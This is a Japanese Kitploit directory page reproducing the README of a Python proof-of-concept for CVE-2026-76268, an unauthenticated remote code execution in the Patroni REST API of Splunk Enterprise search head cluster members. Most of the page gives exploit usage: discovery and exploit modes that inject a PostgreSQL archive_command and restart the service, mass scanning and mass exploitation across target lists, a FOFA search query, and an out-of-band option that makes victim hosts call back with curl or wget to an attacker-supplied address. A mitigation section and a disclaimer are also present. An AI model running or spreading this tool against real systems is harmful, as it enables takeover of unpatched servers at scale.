Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-76268 — CVE-2026-76268 の Python PoC:Splunk SHC メンバー上の認証不要の Patroni REST API を検出し、archive_command インジェクションを利用して RCE を達成します。 | Kitploit
ツール/GitHubGitHub/murrez/cve-2026-76268
偵察脆弱性スキャナーネットワークマッピングエクスプロイトウェブアプリケーション悪用ポストエクスプロイトペネトレーションテストリモートアクセスツール
GitHubmurrez/cve-2026-76268

CVE-2026-76268

CVE-2026-76268 の Python PoC:Splunk SHC メンバー上の認証不要の Patroni REST API を検出し、archive_command インジェクションを利用して RCE を達成します。

リポジトリを見る
83222日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-76268 — Splunk Enterprise Patroni REST API 未認証RCE

CVE-2026-76268 のPython 3 PoC — 検索ヘッドクラスタ (SHC) メンバー上の Splunk Enterprise が対象。アドバイザリ SVD-2026-1001。

CVE.orghttps://www.cve.org/CVERecord?id=CVE-2026-76268
アドバイザリhttps://advisory.splunk.com/advisories/SVD-2026-1001
コンポーネントPostgreSQL サイドカー (Storage) → Patroni REST API
影響を受けるバージョン10.2.0 – 10.2.6、10.4.0 – 10.4.2
修正バージョン10.2.7、10.4.3 (以降)
影響なし (このCVE)10.0.x、9.4.x
CWECWE-306 — 重要な機能に対する認証の欠如
CVSS 3.19.8 Critical
検証マーカーPOCBIT-76268-OK
PoCbithttps://pocbit.org/pocs/cve-2026-76268

説明

脆弱なSplunk EnterpriseのSHCメンバーでは、Patroni REST API (Splunk 10.xで導入されたPostgreSQLサイドカーの一部) が認証なしで状態変更リクエストを受け付けます。Patroniリスナーへのネットワークアクセスを持つ攻撃者は、動的クラスタ設定を変更し、archive_command などのPostgreSQLパラメータを介してオペレーティングシステムのコマンド実行をトリガーできます (Patroniの PATCH /config + POST /restart チェーン)。

このPoCはPatroniと直接通信します (通常はTCP 8008、またはSplunkのIPC Brokerによって割り当てられたポート)。Splunk Web (8000) やSplunk管理ポート (8089) は使用しません。これは別の攻撃面です (例: splunkd プロキシ経由の過去のサイドカー問題)。

実際の影響を受けるための前提条件:

  • ホストがSHCメンバーであること (サイドカースタックを持たないスタンドアロンのインデクサ専用ノードではない)。
  • [postgres] サイドカーが有効であること (disabled = true はPatroniを削除します)。
  • Patroniポートが攻撃者から到達可能であること (クラスタ内部ポートを公開するファイアウォールの設定ミスがよくあります)。

要件

cd CVE-2026-76268
pip install -r requirements.txt
  • Python 3.9+
  • 依存関係: requests、urllib3

使用概要

モード目的
check(デフォルト)一般的なポートで Patroni を検出し、認証なしの PATCH /config をテスト
exploitPatroni RCE チェーン(archive_command + 再起動)を実行
Mass--list FILE と -j スレッドを使用。JSONL と任意のヒット/エクスプロイトリストを書き込み

-t TARGET または --list FILE のいずれかを指定する必要があります。

ターゲット形式(-t / --list 内の行)

形式例
ホストのみ(デフォルトのポートスキャン)192.168.1.50
ホスト + ポート192.168.1.50:8008
完全な URLhttp://10.0.0.5:8008

リストファイル内のコメント: # で始まる行は無視されます。


チェックモード

Patroni を検出し、認証なしの設定変更が許可されているかどうかを評価します。

python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt

PoC の動作内容:

  1. --ports 内の各ポート(デフォルト 8008,8009,8010,18008)に対して GET /patroni(または /)を試行します。
  2. 空の JSON ボディと認証情報なしで PATCH /config を送信します。
  3. Patroni が応答し、PATCH が 401/403 で拒否されない場合、exploitable_candidate: true とマークします。

便利なフラグ:

フラグ意味
--portsスキャンする Patroni ポート(カンマ区切り)
--portスキャンをスキップし、単一ポートのみ使用
--timeoutHTTP タイムアウト(秒、デフォルト 20)
--proxyリクエスト用の HTTP(S) プロキシ
--outputJSONL ログ(デフォルト cve_2026_76268_results.jsonl)
--vuln-listタブ区切りの候補(デフォルト hits.txt)
--quietコンソール出力を減らす
--no-colorプレーンなターミナル表示

終了コード: exploitable_candidate が true の場合は 0、それ以外は 1。

推奨ワークフロー: 一括チェック → hits.txt を確認 → 許可されたホストのみで一括エクスプロイト。


エクスプロイトモード (--mode exploit)

Patroni 設定インジェクションのチェーンを実行します。これはターゲット上の稼働中のサイドカー/PostgreSQL 動的設定を変更します。

チェーン

  1. ディスカバリ — チェックと同じ(--port が設定されている場合を除く)。
  2. 認証ゲート — PATCH /config が 401/403 を返した場合は中止。
  3. PATCH /config — wal_level=replica、archive_mode=always、archive_timeout=1、および指定した archive_command を設定します。
  4. POST /restart — 保留中の PostgreSQL 設定を適用します。
  5. 待機 — --wait-archive 秒(デフォルト 3)。archive_command は WAL アーカイブサイクルで実行されます(即時ではありません)。

単一ターゲットの例

# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888

# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5

# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"

# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10

大規模エクスプロイト

python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888

出力:

  • --output — 完全なJSONL(デフォルト名を維持した場合、大量エクスプロイトは cve_2026_76268_exploit.jsonl にデフォルト設定されます)。
  • --exploited-list — exploited: true の行(デフォルト exploited.txt)。

エクスプロイトフラグ

フラグ意味
--oob URLベースURL。コマンドは curl/wget を実行して URL/POCBIT-76268-OK にアクセスします
--command完全なPostgreSQL archive_command 文字列(OOBデフォルトを上書き)
--wait-archive再起動後、PoCが終了するまでスリープする秒数
--ports / --portポート検出、または固定のPatroniポート
--tlsPatroniに https:// を使用(デフォルトのSplunkサイドカードキュメントでは一般的ではありません)

--oob も --command も設定されていない場合のデフォルトコマンド:
touch /tmp/POCBIT-76268-OK

終了コード: PATCHと再起動が受け入れられた場合(exploited: true)は 0。これはチェーンが配信されたことを意味し、コールバックやファイルによる証明がすでに発火したことを意味するものではありません。ホスト上でOOBまたはファイルシステムのチェックにより確認してください。

重要: 同じパラメータがローカル設定でロックされている場合(ベンダーによるハードニング)、Patroniは動的な変更を無視する可能性があります。その場合、古いSplunkビルドであってもエクスプロイトが失敗することがあります。


JSON出力(単一の -t 実行)

stdoutに出力されます(整形されたJSON)。大量モードでは1行につき1つのJSONオブジェクトを書き込みます。

フィールド意味
modecheck または exploit
host / target正規化された入力
patroni_base例: http://192.168.1.50:8008
patroni_portPatroniが応答したポート
patroni_roleGET /patroni から取得(例: primary)
unauth_patchチェック: 認証なしでPATCHが許可された
exploitable_candidateチェック: 脆弱な可能性が高いサーフェス
exploitedエクスプロイト: PATCHと再起動が成功した
patch / restartHTTPステータスとボディのプレビュー
verifyヒント: OOBパスまたは /tmp/POCBIT-76268-OK
error失敗理由(auth_required_patched_or_hardened、no_patroni_on_ports、…)
pocbit、pocbit_page、verify_markerPoCbitメタデータ

結果の解釈

結果意味
patroni_unauth_patch_confirmed強いチェックヒット — 認証なしのPATCHが受け入れられた
patroni_auth_requiredPatroniが認証を要求(パッチ済みまたはハードニング済みの可能性が高い)
no_patroni_on_portsスキャンしたポートにPatroniのJSONがない(ホストが誤っている、ファイアウォールで遮断されている、またはSHCサイドカーではない)
exploit_chain_okエクスプロイトのHTTPチェーンが完了した
auth_required_patched_or_hardenedインジェクション前にエクスプロイトが中止された

Splunk以外のホストが8008でPatroniを実行している場合があります — 報告する前に必ずSplunkのバージョンとデプロイメントロールと照合してください。


Splunk上のPatroniポートの特定

Splunkドキュメントの例(server.conf):

[ipc_broker]
postgres:patroni:address = 8008

未設定の場合、IPC Broker はランダムなポートを選択する可能性があります。サーバー側(管理者アクセス)では:

$SPLUNK_HOME/bin/splunk btool server list ipc_broker --debug

SHC ファイアウォールのドキュメントでは、メンバー間で開放する必要があるストレージサイドカーポートの中に 8008 が記載されています。


緩和策

  1. 10.4.3+ または 10.2.7+ にアップグレードしてください。

  2. Edge Processor、OpAmp、または SPL2 パイプラインを使用していない場合:

    # $SPLUNK_HOME/etc/system/local/server.conf
    [postgres]
    disabled = true
    

    Splunk を再起動します。

  3. Patroni(および etcd の 2379/2380)を SHC ピア IP のみに制限します。


ディスカバリ(FOFA / スキャン)

port="8008"

GET /patroni が Patroni JSON(role、state、patroni.version)を返すことで検証します。Splunk UI のバージョンだけでは不十分です。


法的注意

許可されたセキュリティテストおよびパッチ検証のみを目的としています。エクスプロイトモードはデータベースのサイドカー設定を変更します。所有しているシステム、またはテストの明示的な許可を得ているシステムでのみ使用してください。


GitHub リポジトリの説明

CVE-2026-76268 PoC: Splunk Enterprise SHC Patroni REST unauth RCE — PATCH /config archive_command + POST /restart. Check + mass exploit, OOB POCBIT-76268-OK, CVSS 9.8. https://pocbit.org/pocs/cve-2026-76268
ツールをダウンロード